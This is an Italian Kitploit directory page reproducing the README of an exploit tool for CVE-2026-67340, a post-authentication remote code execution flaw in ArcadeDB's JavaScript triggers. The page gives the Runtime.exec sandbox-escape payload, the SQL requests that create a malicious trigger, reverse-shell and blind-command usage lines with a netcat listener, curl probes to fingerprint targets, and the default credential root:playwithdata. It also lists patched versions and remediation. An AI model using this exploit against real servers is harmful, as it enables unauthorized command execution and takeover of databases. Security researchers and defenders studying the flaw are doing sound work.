Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/0xdak/cve-2026-67340_exploit
ExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza dei Database
GitHub0xdak/cve-2026-67340_exploit

CVE-2026-67340_exploit

Exploit RCE post-autenticazione per ArcadeDB tramite trigger JavaScript, evasione dalla sandbox GraalVM, esecuzione di comandi del sistema operativo via API HTTP con modalità reverse shell o comandi alla cieca.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
17 giorni faNon ancora revisionato

CVE-2026-67340 — ArcadeDB JAVASCRIPT Trigger-Script RCE (post-autenticazione)

Esecuzione remota di codice post-autenticazione in ArcadeDB (un database multi-modello Java) tramite un trigger JAVASCRIPT che raggiunge le classi host.

Il motore poliglotta GraalVM di un trigger è costruito con una allow-list di classi host che include java.lang.* (ScriptTriggerExecutor.setAllowedPackages), quindi uno script trigger può chiamare:

root@kitploit:~
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);

allowCreateProcess(false) non lo blocca — Runtime.exec è una chiamata a metodo host consentita da HostAccess.ALL, non dall'API di processo guest di GraalVM. La creazione di un trigger richiede solo il permesso UPDATE_SCHEMA (più debole di UPDATE_SECURITY, che controlla lo scripting diretto), quindi root può farlo — una RCE post-autenticazione tramite l'API HTTP.

  • Versioni interessate: ArcadeDB < 26.7.2 (0 – 26.7.1)
  • Versione corretta: 26.7.2 (rimuove java.lang.* dall'allow-list dei trigger + aggiunge un HostClassLookupFilter letterale con una deny-list per processi/reflection/classloader)
  • Porta predefinita: 2480 (API HTTP + Studio; autenticazione Basic)
  • CWE: 94 (Iniezione di codice) / evasione dalla sandbox
  • Impatto: Esecuzione di comandi del sistema operativo come utente del processo ArcadeDB

Il percorso di comando diretto language:js non è il vettore — non ha pacchetti consentiti (Java.type bloccato) ed è protetto da UPDATE_SECURITY. Solo l'esecutore trigger ha java.lang.* hard-coded.

Requisiti

Solo libreria standard di Python 3 — nessuna dipendenza. Credenziali ArcadeDB valide con UPDATE_SCHEMA (ad es. root). ArcadeDB non ha una password predefinita hard-coded, ma il suo stesso docker-compose.yml include l'esempio root:playwithdata, una credenziale comune che spesso viene lasciata così com'è.

Utilizzo

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'

# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb

Come funziona

Tre richieste autenticate POST /api/v1/command/<db> (language:sql):

  1. CREATE DOCUMENT TYPE Pwn
  2. CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'
  3. INSERT INTO Pwn SET x = 1 — il trigger BEFORE CREATE scatta e il JavaScript viene eseguito.

Il comando del sistema operativo è racchiuso in base64, così i livelli JavaScript/SQL/JSON non richiedono alcun escaping di virgolette annidate, e lo script omette waitFor() così exec ritorna immediatamente (il processo figlio continua a girare, la richiesta non rimane bloccata).

Identificare un bersaglio

root@kitploit:~
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases   # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases               # lists databases

Rimedio

Aggiorna ad ArcadeDB ≥ 26.7.2, imposta una rootPassword robusta (mai playwithdata), non eseguire ArcadeDB come root, limita UPDATE_SCHEMA e tieni l'API HTTP/Studio lontani da reti non fidate.

Disclaimer

Solo per test di sicurezza autorizzati e scopi educativi. Usalo solo contro sistemi di tua proprietà o per i quali hai il permesso esplicito di test.

Scarica lo strumento